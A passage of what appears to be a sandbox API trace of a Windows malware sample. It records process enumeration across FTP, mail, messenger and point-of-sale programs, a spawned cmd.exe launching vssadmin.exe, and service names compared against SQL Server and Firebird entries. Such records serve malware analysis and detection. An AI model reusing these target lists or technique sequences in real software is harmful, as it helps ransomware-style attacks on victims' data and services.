pcPriClassBase=8, dwFlags=0x0, szExeFile="spyware-tampa.exe")) returned 1 [0053.676] lstrlenW (lpString="spyware-tampa.exe") returned 17 [0053.676] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sellers.exe")) returned 1 [0053.677] lstrlenW (lpString="sellers.exe") returned 11 [0053.677] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gras hair.exe")) returned 1 [0053.677] lstrlenW (lpString="gras hair.exe") returned 13 [0053.678] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="acquisitions.exe")) returned 1 [0053.678] lstrlenW (lpString="acquisitions.exe") returned 16 [0053.678] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="starscondos.exe")) returned 1 [0053.679] lstrlenW (lpString="starscondos.exe") returned 15 [0053.679] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0053.679] lstrlenW (lpString="3dftp.exe") returned 9 [0053.679] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0053.680] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0053.680] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0053.680] lstrlenW (lpString="alftp.exe") returned 9 [0053.680] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0053.681] lstrlenW (lpString="barca.exe") returned 9 [0053.681] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0053.682] lstrlenW (lpString="bitkinex.exe") returned 12 [0053.682] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0053.687] lstrlenW (lpString="coreftp.exe") returned 11 [0053.687] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0053.688] lstrlenW (lpString="far.exe") returned 7 [0053.688] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0053.688] lstrlenW (lpString="filezilla.exe") returned 13 [0053.689] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0053.689] lstrlenW (lpString="flashfxp.exe") returned 12 [0053.689] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0053.690] lstrlenW (lpString="fling.exe") returned 9 [0053.690] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0053.690] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0053.690] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0053.691] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0053.691] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0053.692] lstrlenW (lpString="icq.exe") returned 7 [0053.692] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0053.693] lstrlenW (lpString="leechftp.exe") returned 12 [0053.693] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0053.694] lstrlenW (lpString="ncftp.exe") returned 9 [0053.694] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0053.694] lstrlenW (lpString="notepad.exe") returned 11 [0053.694] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0053.695] lstrlenW (lpString="operamail.exe") returned 13 [0053.695] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0053.696] lstrlenW (lpString="pidgin.exe") returned 10 [0053.696] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0053.697] lstrlenW (lpString="scriptftp.exe") returned 13 [0053.697] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0053.698] lstrlenW (lpString="skype.exe") returned 9 [0053.698] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0053.699] lstrlenW (lpString="smartftp.exe") returned 12 [0053.699] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0053.699] lstrlenW (lpString="thunderbird.exe") returned 15 [0053.699] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0053.700] lstrlenW (lpString="totalcmd.exe") returned 12 [0053.700] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0053.701] lstrlenW (lpString="trillian.exe") returned 12 [0053.701] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0053.702] lstrlenW (lpString="webdrive.exe") returned 12 [0053.702] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0053.702] lstrlenW (lpString="whatsapp.exe") returned 12 [0053.702] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0053.703] lstrlenW (lpString="winscp.exe") returned 10 [0053.703] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0053.704] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0053.704] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0053.705] lstrlenW (lpString="active-charge.exe") returned 17 [0053.705] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0053.705] lstrlenW (lpString="accupos.exe") returned 11 [0053.705] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0053.706] lstrlenW (lpString="afr38.exe") returned 9 [0053.706] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0053.707] lstrlenW (lpString="aldelo.exe") returned 10 [0053.707] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0053.707] lstrlenW (lpString="ccv_server.exe") returned 14 [0053.707] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0053.708] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0053.708] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0053.709] lstrlenW (lpString="creditservice.exe") returned 17 [0053.709] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0053.709] lstrlenW (lpString="edcsvr.exe") returned 10 [0053.709] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0053.710] lstrlenW (lpString="fpos.exe") returned 8 [0053.710] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0053.711] lstrlenW (lpString="isspos.exe") returned 10 [0053.711] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0053.711] lstrlenW (lpString="mxslipstream.exe") returned 16 [0053.712] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0053.712] lstrlenW (lpString="omnipos.exe") returned 11 [0053.712] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0053.713] lstrlenW (lpString="spcwin.exe") returned 10 [0053.713] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0053.947] lstrlenW (lpString="spgagentservice.exe") returned 19 [0053.947] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0053.948] lstrlenW (lpString="utg2.exe") returned 8 [0053.948] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="burner.exe")) returned 1 [0053.954] lstrlenW (lpString="burner.exe") returned 10 [0053.954] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0053.955] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0053.955] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0053.958] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0053.958] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0053.961] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0053.961] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0053.969] lstrlenW (lpString="cmd.exe") returned 7 [0053.969] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.969] lstrlenW (lpString="conhost.exe") returned 11 [0053.969] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0053.970] lstrlenW (lpString="vssadmin.exe") returned 12 [0053.970] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0053.971] lstrlenW (lpString="VSSVC.exe") returned 9 [0053.971] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.972] lstrlenW (lpString="svchost.exe") returned 11 [0053.972] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0053.972] CloseHandle (hObject=0x214) returned 1 [0053.972] Sleep (dwMilliseconds=0x1f4) [0055.600] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x59fbe0 [0055.602] EnumServicesStatusExW (in: hSCManager=0x59fbe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 0 [0055.603] GetLastError () returned 0xea [0055.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x142e) returned 0x3f90098 [0055.603] EnumServicesStatusExW (in: hSCManager=0x59fbe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f90098, cbBufSize=0x142e, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f90098, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 1 [0055.604] CloseServiceHandle (hSCObject=0x59fbe0) returned 1 [0055.605] lstrlenW (lpString="Appinfo") returned 7 [0055.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0055.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0055.605] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0055.605] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0055.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0055.605] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0055.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.605] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0055.605] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0055.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0055.605] lstrlenW (lpString="AudioSrv") returned 8 [0055.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0055.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0055.605] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0055.605] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0055.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0055.605] lstrlenW (lpString="BFE") returned 3 [0055.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0055.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0055.605] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0055.605] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0055.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0055.605] lstrlenW (lpString="CryptSvc") returned 8 [0055.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0055.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0055.606] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0055.606] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0055.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0055.606] lstrlenW (lpString="CscService") returned 10 [0055.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0055.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0055.606] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0055.606] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0055.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0055.606] lstrlenW (lpString="DcomLaunch") returned 10 [0055.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.606] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0055.606] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0055.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0055.606] lstrlenW (lpString="Dhcp") returned 4 [0055.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0055.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0055.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0055.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0055.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0055.606] lstrlenW (lpString="Dnscache") returned 8 [0055.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0055.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0055.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0055.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0055.607] lstrcmpiW (lpString1="sqlserveradhelper", 